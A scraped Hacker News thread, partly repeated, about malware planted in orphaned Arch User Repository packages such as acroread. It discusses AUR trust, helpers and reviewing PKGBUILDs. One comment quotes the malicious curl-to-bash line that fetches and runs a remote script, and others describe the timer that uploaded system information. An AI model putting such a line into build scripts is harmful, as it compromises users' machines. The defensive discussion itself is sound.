Because there is this myth that only Windows users get infected because Windows is insecure, that packages are vetted, that code being open source means that a backdoor insertion would quickly be discovered, and so on.
Packages are vetted, in the repos, just not in AUR.
They also keep tools that would easily/automatically build and install packages from AUR out of the main repos, to encourage manual handling and individual consideration of AUR package build scripts.
Also this malware was found in AUR within a few hours of it going up.
Unofficial user repositories contain unofficial user software. Shockers!
Sarcasm aside, I think a lot of the pearl-clutching over this incident is down to people not understanding the difference between the official repositories and the AUR.
Of course, one should be careful about what one installs on their system. Even more so an Arch user, which should be technical saavy in the first place.
Anyways, I know I don't manually review everything I install on my system, I trust the packet manager.
I'm not an Arch user so I don't know, but doest the AUR repo have some kind of code signing or automatic analysis of the packages?
AUR is not an "official" repository at all -- indeed the acronym stands for "Arch User Repository". Kinda like github, you can go put whatever you want in there, and people can download and install it on their machines if they want to.
The "correct" way to install something from AUR is to go grab the install script, READ THROUGH IT CAREFULLY, then knowing that you just downloaded a thing uploaded by someone unafilliated with Arch, you make your decision on whether or not to run/install it. That said, there are (non-official) package managers that you can use which give you a package-manager-like experience installing packages from AUR and do a pretty good job of sweeping all of that under the rug. Convenient? yes; a good idea? it's your system, you decide (my opinion is 'no').
No, AUR packages are PKGBUILD files, which are essentially little batch scripts that run inside a fakeroot.
IMHO, the danger of a PKGBUILD itself doing something nasty is small--it would be limited to things like recording `uname -a`, listing all your installed packages: the things mentioned in the article.
The real danger is that the PKGBUILD is installing some software, which you will later run with full user privileges. If you don't notice that the Git repo listed in the PKGBUILD file is wrong, you won't notice that you're actually installing a backdoored version of the package.
The AUR repo is, basically, a free for all. It’s not the official repository, which is trustworthy - it’s just a hosting space for user-provided build instructions.
Someone was questioning if `libvlc` could be considered dangerous. However the package download our packaged `vlc` packages and just repackages the `/usr/lib/libvlc*` files into a new package.
Following the URLs it appears that it sets up a systemd timer to post some system info to pastebin every hour. However the script also appears to have a mistake which I think would cause it to only log to /root/home/*/compromised.txt.
So much for being sneaky malware, he wasn't even trying to hide it... Any insertion of a `curl` command to some shady looking TLD piping to bash is going to be a massive red flag to even unsophisticated linux users.
Honestly, no, not everyone knows this. Maybe when there was just arch linux and no spinoffs; but manjaro provides an easy path to a rolling-release arch(-like) distribution, and it treats AUR as a first-class citizen in its GUIs. I think there was a popup at some point when an application first accesses AUR that tells you that AUR is unsupported and to go to a wiki to understand it, but I think it could use better messaging. A warning at the header of the AUR section of the package manager gui would be a good start.
It happens with other archwiki topics too, I encounter it regularly though can't think of good examples from the top of my head currently. E.g. the btrfs article mentions several AUR utilities though admittedly nothing important I need right now :)
Yeah it's funny, my first thought was since I started using Arch, the most common thing I hear people say is that packages from AUR should be considered unsafe until you've read the PKGBUILD, at least. It's a good thing it gets brought up so much, unfortunately.
Even yaourt defaults to prompting you to read all the packages scripts and displays a red WARNING UNSAFE when the package is unmaintained as this one was.
It has options to configure it to do everything automatically, but you have to actively go in and set it so.
I love yay[1]. It has few dependencies, integrates well with pacman, has a useful search function, and is incredibly easy to use. I recommend using the binary version (yay-bin[2]) available in the AUR since it doesn't require compilation and has the fewest dependencies of any AUR helper.
I like and use auracle. It's basically a rewrite / redo of cower, the core of pacaur, by the same developer. Pacaur was the most popular alternative to Yaourt, but is now discontinued.
You should read the PKGBUILD, even on upgrades. In this case the bad guy took over an orphaned package (with 853 votes) and updated it. You could have looked at the upvotes 5 years ago and blindly upgraded to his new version last week.
Many packages use rolling versions from git commits, so while the PKGBUILDs don't get updated, any time a user re-runs makepkg on that PKGBUILD the latest commit is pulled and built.
In those cases, a PKGBUILD might be months or years old, but still consistently up to date and valid.
Not a great idea. Upvotes don't really tell you shit about testing, quality, or trust. I mean how many votes does acroread have (hint: a lot). The votes is merely to give arch some idea of how popular an AUR package is so that it can be absorbed officially.I have had a few of my AUR packages scooped up this way. Voting may indirectly indicate that the package is useful, but it doesn't say the thing doesn't contain malware nor does it indicate that the script is poorly written for other reasons. I orphaned a few quite popular AUR entries with high vote counts. The counts don't magically go away, and at that point anybody on the internet is free to adopt it.
As an Arch user this bothers me since a while. On the one hand the AUR contains packages I don't want to miss, on the other hand installing and updating from the AUR is tiresome.
Recently I switched to the AUR helper aurman which is great, but it still doesn't free you from reviewing PKGBUILD changes. Sometimes I wish there would be some kind of review process where popular packages could be labeled as 'reviewed' (e.g. by experienced/trusted arch users) and an (optional) option within the AUR helpers to accept 'reviewed' packages without presenting the PKGBUILD for review.
I know that wouldn't be perfect either, but at least it would increase the efficiency and as a user one could focus on the less popular packages where it is unlikely that someone else will find some malware.
In a sense we already have that, in the form of the `community` repo: Trusted Users mark a package as safe, adopt it, and it gets packaged up and supported.
Perhaps the answer is a few more TUs to get some of the popular AUR packages adopted and officially supported.
Is there a public database of linux malware found in the wild that one can study to know what kind of things to look for when reviewing PKGBUILDs and other open source code?
In general, but also containing malware found in code belonging to the different distributions, like PKGBUILDs. I'm just thinking that part of the problem with the lack of review of AUR packages by the users is that it's not really obvious what one should be on the lookout for. What does linux malware found in the wild generally look like?, is what I'm wondering. I would think that it would benefit us all to make the cases where malware is found more easy to study.
The case shown here is pretty obvious looking, but I don't think it would be too difficult to make it better hidden. Seeing what kind of tricks are statistically more common would make PKGBUILDs easier to review.
I'm surprised that this hasn't happened a lot earlier to be honest. It probably has but haven't been picked up by someone. It's a user submitted repo with over 44000 packages (source repology [0]).
It has happened to the snap store recently, but AUR has been around for ages.
> Following the discovery all dangerous instances were removed and the user account suspended.
I heard they're making a change to the policy for uploading packages to AUR. The next time this happens the user will automatically receive an email that says, "Hey, don't do that."
I tried installing Arch Linux, and it was harder then installing SunOS 4.3. The instructions were absolutely wrong. I wish I could give it another try, but I just don't have time to experience the wow's of the early 90s just to get a browser up.
The Arch wiki used to have an amazing Beginner's guide along with the general Installation Guide. They've since dropped it from the wiki, but there are archived versions that I still bring up every now and then when setting up a new Arch install. Here's one: https://csdietz.github.io/arch-beginner-guide/
Yes, but this may be a good reminder for fellow Arch users who have grown complacent reviewing things they install from AUR.
I've gotten to the point where I do not install any AUR helpers on my systems, and manually download PKGBUILDs and install with makepkg. These extra steps force me to 1) review the PKGBUILD + *.install files, and 2) make me reconsider whether or not I want to go through the effort for a package (i.e. "do I really want this thing")
If you want to see all software installed from outside repos defined in /etc/pacman.conf, you can use this pacman option:
pacman -Qm
It's always a good idea to periodically review this list as well.
I've seen the advice of not installing AUR helpers multiple times before. I guess it works for many, but I feel it takes more discipline to review the files when not using AUR helpers since you can just download them and makepkg them immediately, while all AUR helpers I've seen explicitly ask you if you'd like to first review the files in an editor with a default answer of [Y]es.
I really hope one day Linux stops using package managers and switches to single-file binary installers as in Windows and Mac. Until that day, I won't feel completely comfortable using Linux.
Package managers are an inherently flawed way to distribute software, instead of obtaining your programs from whoever developed that program you get it from your OS developer!.
The Arch User Repository hosts whatever people want to upload to it, with basically no proactive vetting whatsoever. In addition, the installation scripts run arbitrary code, a portion of which must run with root privileges.
When a package gets orphaned, that means that anybody in the community can take over maintainership of the package.
There's a whole lot of trust that has to go on when installing a package from the AUR - and yes, this is a fundamental problem with the security model of Arch Linux, but that's been known for a very long time.
Honestly, I'd be surprised if this hasn't happened before with orphaned packages.
> yes, this is a fundamental problem with the security model of Arch Linux
No, it's not. AUR is not Arch, and is not "supported" by Arch.
It's a fundamental problem with the security model running code from randos on the internet. If someone published a git repo on GitHub that installed malware when you ran
git clone git://github.com/user/repo . && ./configure && make && sudo make install
you wouldn't be saying that "this is a fundamental problem with the security model of git."
From the AUR homepage, in big text:
> AUR packages are user produced content. Any use of the provided files is at your own risk.
AUR has the word "Arch" in its name and is linked right at the top of the Arch Linux homepage and from every Arch Linux webpage. So it's disingenuous to claim it is "not Arch.”
Contrast this to the old debian-multimedia, which had no links from Debian.org and which eventually yielded to pressure to change its name to make clear that it was not part of Debian.
Just to emphasize how little AUR is supported by Arch:
Even the 'AUR helpers' aren't part of the normal Arch repositories. So if you wan't a less manual access to the AUR you have to install such a program manually.
And the Arch Wiki states:
Warning: AUR helpers are not supported by Arch Linux. It is recommended to become familiar with the manual build process in order to be prepared to troubleshoot problems on one's own. [1]
I understand your point but the problem is that the title is "Arch Linux AUR Repository Found to Contain Malware" (and not, for example: "AUR Repository Found to Contain Malware"). I would argue that the implication (I guess reputation-wise if that matters) starts with the "Arch Linux" part. It's easy to jump on Arch because of this regardless of the fact that the AUR is not supported. At a cursory glance plenty of people (though incorrect) will equate this to "Arch Linux contains malware"
AUR PKGBUILDs are much more restricted than this, since they're restricted to a fakeroot.
Of course, if you're ultimately going to run the program, the binary set up by the PKGBUILD has a lot of control. But the PKGBUILD itself is limited in what it can do (to things like listing your installed packages, getting `uname -a`--the stuff mentioned in the article).
> this is a fundamental problem with the security model of Arch Linux
And with every other OS that isn't locked down so the user can't run arbitrary stuff.
The AUR is just the arch equivalent of downloading a `.exe` installer and running it. Yes, clearly there are security concerns there, but they aren't specific to Arch.
If you want a level of trust, then don't build AUR packages and install things using the package manager (AUR packages aren't supported by it) which have trusted maintainers and are signed.
> this is a fundamental problem with the security model of Arch Linux, but that's been known for a very long time
It's exactly the same problem that every other distro has when users compile or install unvetted community packages.
The only way to make unvetted community repositories safe is to have users look at the sources before building or installing. Arch encourages users to do that -- AUR helpers and binary repositories are discouraged, and the source package format is simple enough that an average user could probably spot something like this.
The thing is not that it's a new deficiency or something, it's just that Arch user conveniently ignore this when praising their distribution over e.g. Debian.
Fortunately admins are not unreasonable and don't base their decisions on praises but on actual merits, so most servers run Debian rather than Arch (which is an interesting distro for other usage cases).
From the article:
"This is yet another incident that showcases that Linux users should not explicitly trust user-controlled repositories."
LOL. Why should this only apply to Linux users? We should all be wary of downloading random things from websites.
AUR has always been labeled "user submitted", but I guess it's easy to forget that some "users" are really out to cause harm.
Because there is this myth that only Windows users get infected because Windows is insecure, that packages are vetted, that code being open source means that a backdoor insertion would quickly be discovered, and so on.
Packages are vetted, in the repos, just not in AUR.
They also keep tools that would easily/automatically build and install packages from AUR out of the main repos, to encourage manual handling and individual consideration of AUR package build scripts.
Also this malware was found in AUR within a few hours of it going up.
6 replies →
Unofficial user repositories contain unofficial user software. Shockers!
Sarcasm aside, I think a lot of the pearl-clutching over this incident is down to people not understanding the difference between the official repositories and the AUR.
Of course, one should be careful about what one installs on their system. Even more so an Arch user, which should be technical saavy in the first place.
Anyways, I know I don't manually review everything I install on my system, I trust the packet manager.
I'm not an Arch user so I don't know, but doest the AUR repo have some kind of code signing or automatic analysis of the packages?
AUR is not an "official" repository at all -- indeed the acronym stands for "Arch User Repository". Kinda like github, you can go put whatever you want in there, and people can download and install it on their machines if they want to.
The "correct" way to install something from AUR is to go grab the install script, READ THROUGH IT CAREFULLY, then knowing that you just downloaded a thing uploaded by someone unafilliated with Arch, you make your decision on whether or not to run/install it. That said, there are (non-official) package managers that you can use which give you a package-manager-like experience installing packages from AUR and do a pretty good job of sweeping all of that under the rug. Convenient? yes; a good idea? it's your system, you decide (my opinion is 'no').
6 replies →
No, AUR packages are PKGBUILD files, which are essentially little batch scripts that run inside a fakeroot.
IMHO, the danger of a PKGBUILD itself doing something nasty is small--it would be limited to things like recording `uname -a`, listing all your installed packages: the things mentioned in the article.
The real danger is that the PKGBUILD is installing some software, which you will later run with full user privileges. If you don't notice that the Git repo listed in the PKGBUILD file is wrong, you won't notice that you're actually installing a backdoored version of the package.
2 replies →
The AUR repo is, basically, a free for all. It’s not the official repository, which is trustworthy - it’s just a hosting space for user-provided build instructions.
The article mentions 3 infected packages. But it only lists one: acroread.
Then the comment section mentions the other one is libvlc.
But the mailing list says this is something different: https://lists.archlinux.org/pipermail/aur-general/2018-July/...
So then there's still two missing.
Here's what I've found that he maintained:
1) balz (https://archive.fo/TjIQI)
2) minergate (https://archive.fo/TjIQI)
3) acroread - as mentioned (https://my.mixtape.moe/kvfpmk.png)
So those "balz" and "minergate" could be the missing two.
Edit: seems like archive.fo is temporarily down, so it will just be my word for it right now. Sorry.
There was some more questions about the affected packages on IRC. I posted a mail to the thread with the packages and versions. https://lists.archlinux.org/pipermail/aur-general/2018-July/...
Someone was questioning if `libvlc` could be considered dangerous. However the package download our packaged `vlc` packages and just repackages the `/usr/lib/libvlc*` files into a new package.
For the people interested, here's the actual commit from the acroread package:
https://aur.archlinux.org/cgit/aur.git/commit/?h=acroread&id...
Following the URLs it appears that it sets up a systemd timer to post some system info to pastebin every hour. However the script also appears to have a mistake which I think would cause it to only log to /root/home/*/compromised.txt.
$uploader "$FULL_LOG"
should be
upload "$FULL_LOG"
> + curl -s https://ptpb.pw/~x|bash -&
So much for being sneaky malware, he wasn't even trying to hide it... Any insertion of a `curl` command to some shady looking TLD piping to bash is going to be a massive red flag to even unsophisticated linux users.
Not much to see here, fortunately.
that "shady" domain is the official pastebin for freenode's Arch Linux IRC channel
1 reply →
Doesnt everyone know AUR packages are inherently unsafe? if you wanted to make sure they werent up to something you could read the pkgbuild
Given the design of most of the AUR "helpers" out there, I would guess that there are a non-trivial amount of users who view the AUR as safe.
Yaourt shows a big fat red warning every time you install a package. It also offers to open PKGBUILD and .install files for inspection.
5 replies →
Honestly, no, not everyone knows this. Maybe when there was just arch linux and no spinoffs; but manjaro provides an easy path to a rolling-release arch(-like) distribution, and it treats AUR as a first-class citizen in its GUIs. I think there was a popup at some point when an application first accesses AUR that tells you that AUR is unsupported and to go to a wiki to understand it, but I think it could use better messaging. A warning at the header of the AUR section of the package manager gui would be a good start.
Unfortunately lots of things one actually wants are on AUR, things like jpeginfo, golly, steam-fonts, simple-mtpfs, jslint, ...
A case for putting more things in the main Archlinux repositories!
My understanding is some things (e.g. Google Chrome, Google and Microsoft fonts) can't be put in the main Arch Linux repos for copyright reasons.
Chromium and Google's Roboto and Noto fonts are all in the official repos.
1 reply →
I wonder how other distributions solve that situation.
3 replies →
What packages would you like to se inn our repositories?
Imho, especially things that are important solutions to common things on the Archwiki but are AUR, indicated with the AUR superscript there.
For example for MTP: https://wiki.archlinux.org/index.php/Media_Transfer_Protocol The one that worked most stable for me was simple-mtpfs, but it's AUR.
It happens with other archwiki topics too, I encounter it regularly though can't think of good examples from the top of my head currently. E.g. the btrfs article mentions several AUR utilities though admittedly nothing important I need right now :)
And then some important development tools, like closure-compiler https://aur.archlinux.org/packages/closure-compiler/
6 replies →
>Not spelling AUR right
Honestly AUR has covered everything I've needed.
1 reply →
This is exactly what we've been preparing for. Don't use yaourt, and read those diffs. I know a lot of people don't do this, but it's important.
Yeah it's funny, my first thought was since I started using Arch, the most common thing I hear people say is that packages from AUR should be considered unsafe until you've read the PKGBUILD, at least. It's a good thing it gets brought up so much, unfortunately.
Even yaourt defaults to prompting you to read all the packages scripts and displays a red WARNING UNSAFE when the package is unmaintained as this one was.
It has options to configure it to do everything automatically, but you have to actively go in and set it so.
yaourt sources the PKGBUILD before it allows you to review it, which is why it is considered unsafe.
What would you recommend over yaourt?
I love yay[1]. It has few dependencies, integrates well with pacman, has a useful search function, and is incredibly easy to use. I recommend using the binary version (yay-bin[2]) available in the AUR since it doesn't require compilation and has the fewest dependencies of any AUR helper.
[1] https://github.com/Jguer/yay
[2] https://aur.archlinux.org/packages/yay-bin/
#!/bin/bash set -e
if [ -z "$1" ]; then echo "No package name specified."; exit; fi
mkdir -p $1
cd $1
wget -q "https://aur.archlinux.org/cgit/aur.git/snapshot/$1.tar.gz"
tar xzf $1.tar.gz
cd $1
makepkg -sf
read -n 1 -s -p "Press any key to continue..."
echo -e "\n"
sudo pacman -U --noconfirm --needed $1*pkg.tar.xz
1 reply →
aurman. More choices can be found here https://wiki.archlinux.org/index.php/AUR_helpers
I like and use auracle. It's basically a rewrite / redo of cower, the core of pacaur, by the same developer. Pacaur was the most popular alternative to Yaourt, but is now discontinued.
cower from falconindy
I mean, is this new information? I always look at the upvotes on the package to see if it has been tested.
You should read the PKGBUILD, even on upgrades. In this case the bad guy took over an orphaned package (with 853 votes) and updated it. You could have looked at the upvotes 5 years ago and blindly upgraded to his new version last week.
Yeah it would be better if the packages had all-time upvotes as well as “upvotes for this version”.
Honestly, I don't see this happening.
Many packages use rolling versions from git commits, so while the PKGBUILDs don't get updated, any time a user re-runs makepkg on that PKGBUILD the latest commit is pulled and built.
In those cases, a PKGBUILD might be months or years old, but still consistently up to date and valid.
Not a great idea. Upvotes don't really tell you shit about testing, quality, or trust. I mean how many votes does acroread have (hint: a lot). The votes is merely to give arch some idea of how popular an AUR package is so that it can be absorbed officially.I have had a few of my AUR packages scooped up this way. Voting may indirectly indicate that the package is useful, but it doesn't say the thing doesn't contain malware nor does it indicate that the script is poorly written for other reasons. I orphaned a few quite popular AUR entries with high vote counts. The counts don't magically go away, and at that point anybody on the internet is free to adopt it.
As an Arch user this bothers me since a while. On the one hand the AUR contains packages I don't want to miss, on the other hand installing and updating from the AUR is tiresome.
Recently I switched to the AUR helper aurman which is great, but it still doesn't free you from reviewing PKGBUILD changes. Sometimes I wish there would be some kind of review process where popular packages could be labeled as 'reviewed' (e.g. by experienced/trusted arch users) and an (optional) option within the AUR helpers to accept 'reviewed' packages without presenting the PKGBUILD for review.
I know that wouldn't be perfect either, but at least it would increase the efficiency and as a user one could focus on the less popular packages where it is unlikely that someone else will find some malware.
In a sense we already have that, in the form of the `community` repo: Trusted Users mark a package as safe, adopt it, and it gets packaged up and supported.
Perhaps the answer is a few more TUs to get some of the popular AUR packages adopted and officially supported.
Is there a public database of linux malware found in the wild that one can study to know what kind of things to look for when reviewing PKGBUILDs and other open source code?
EDIT: s/repository/public database/
Nothing that I know off. Are you thinking specific to Arch Linux or in general?
In general, but also containing malware found in code belonging to the different distributions, like PKGBUILDs. I'm just thinking that part of the problem with the lack of review of AUR packages by the users is that it's not really obvious what one should be on the lookout for. What does linux malware found in the wild generally look like?, is what I'm wondering. I would think that it would benefit us all to make the cases where malware is found more easy to study.
The case shown here is pretty obvious looking, but I don't think it would be too difficult to make it better hidden. Seeing what kind of tricks are statistically more common would make PKGBUILDs easier to review.
3 replies →
I'm surprised that this hasn't happened a lot earlier to be honest. It probably has but haven't been picked up by someone. It's a user submitted repo with over 44000 packages (source repology [0]).
It has happened to the snap store recently, but AUR has been around for ages.
[0]: https://repology.org/repository/aur
> Following the discovery all dangerous instances were removed and the user account suspended.
I heard they're making a change to the policy for uploading packages to AUR. The next time this happens the user will automatically receive an email that says, "Hey, don't do that."
I tried installing Arch Linux, and it was harder then installing SunOS 4.3. The instructions were absolutely wrong. I wish I could give it another try, but I just don't have time to experience the wow's of the early 90s just to get a browser up.
The Arch wiki used to have an amazing Beginner's guide along with the general Installation Guide. They've since dropped it from the wiki, but there are archived versions that I still bring up every now and then when setting up a new Arch install. Here's one: https://csdietz.github.io/arch-beginner-guide/
Not a surprise.
Yes, but this may be a good reminder for fellow Arch users who have grown complacent reviewing things they install from AUR.
I've gotten to the point where I do not install any AUR helpers on my systems, and manually download PKGBUILDs and install with makepkg. These extra steps force me to 1) review the PKGBUILD + *.install files, and 2) make me reconsider whether or not I want to go through the effort for a package (i.e. "do I really want this thing")
If you want to see all software installed from outside repos defined in /etc/pacman.conf, you can use this pacman option:
It's always a good idea to periodically review this list as well.
I've seen the advice of not installing AUR helpers multiple times before. I guess it works for many, but I feel it takes more discipline to review the files when not using AUR helpers since you can just download them and makepkg them immediately, while all AUR helpers I've seen explicitly ask you if you'd like to first review the files in an editor with a default answer of [Y]es.
11 replies →
I don't know a single Arch Linux user who doesn't check the PKGBUILD of the packages they get from AUR.
pleased to meetcha, you now know one.
I really hope one day Linux stops using package managers and switches to single-file binary installers as in Windows and Mac. Until that day, I won't feel completely comfortable using Linux.
Package managers are an inherently flawed way to distribute software, instead of obtaining your programs from whoever developed that program you get it from your OS developer!.
The Arch User Repository hosts whatever people want to upload to it, with basically no proactive vetting whatsoever. In addition, the installation scripts run arbitrary code, a portion of which must run with root privileges. When a package gets orphaned, that means that anybody in the community can take over maintainership of the package.
There's a whole lot of trust that has to go on when installing a package from the AUR - and yes, this is a fundamental problem with the security model of Arch Linux, but that's been known for a very long time.
Honestly, I'd be surprised if this hasn't happened before with orphaned packages.
> yes, this is a fundamental problem with the security model of Arch Linux
No, it's not. AUR is not Arch, and is not "supported" by Arch.
It's a fundamental problem with the security model running code from randos on the internet. If someone published a git repo on GitHub that installed malware when you ran
you wouldn't be saying that "this is a fundamental problem with the security model of git."
From the AUR homepage, in big text:
> AUR packages are user produced content. Any use of the provided files is at your own risk.
AUR has the word "Arch" in its name and is linked right at the top of the Arch Linux homepage and from every Arch Linux webpage. So it's disingenuous to claim it is "not Arch.”
Contrast this to the old debian-multimedia, which had no links from Debian.org and which eventually yielded to pressure to change its name to make clear that it was not part of Debian.
Just to emphasize how little AUR is supported by Arch:
Even the 'AUR helpers' aren't part of the normal Arch repositories. So if you wan't a less manual access to the AUR you have to install such a program manually.
And the Arch Wiki states:
[1]: https://wiki.archlinux.org/index.php/AUR_helpers
I understand your point but the problem is that the title is "Arch Linux AUR Repository Found to Contain Malware" (and not, for example: "AUR Repository Found to Contain Malware"). I would argue that the implication (I guess reputation-wise if that matters) starts with the "Arch Linux" part. It's easy to jump on Arch because of this regardless of the fact that the AUR is not supported. At a cursory glance plenty of people (though incorrect) will equate this to "Arch Linux contains malware"
2 replies →
AUR PKGBUILDs are much more restricted than this, since they're restricted to a fakeroot.
Of course, if you're ultimately going to run the program, the binary set up by the PKGBUILD has a lot of control. But the PKGBUILD itself is limited in what it can do (to things like listing your installed packages, getting `uname -a`--the stuff mentioned in the article).
2 replies →
> this is a fundamental problem with the security model of Arch Linux
And with every other OS that isn't locked down so the user can't run arbitrary stuff.
The AUR is just the arch equivalent of downloading a `.exe` installer and running it. Yes, clearly there are security concerns there, but they aren't specific to Arch.
If you want a level of trust, then don't build AUR packages and install things using the package manager (AUR packages aren't supported by it) which have trusted maintainers and are signed.
> this is a fundamental problem with the security model of Arch Linux, but that's been known for a very long time
It's exactly the same problem that every other distro has when users compile or install unvetted community packages.
The only way to make unvetted community repositories safe is to have users look at the sources before building or installing. Arch encourages users to do that -- AUR helpers and binary repositories are discouraged, and the source package format is simple enough that an average user could probably spot something like this.
The thing is not that it's a new deficiency or something, it's just that Arch user conveniently ignore this when praising their distribution over e.g. Debian.
AUR repository isn't supported by the core tools and packages. To use it one has to install external scripts. So it's by no means part of the system.
11 replies →
Fortunately admins are not unreasonable and don't base their decisions on praises but on actual merits, so most servers run Debian rather than Arch (which is an interesting distro for other usage cases).
8 replies →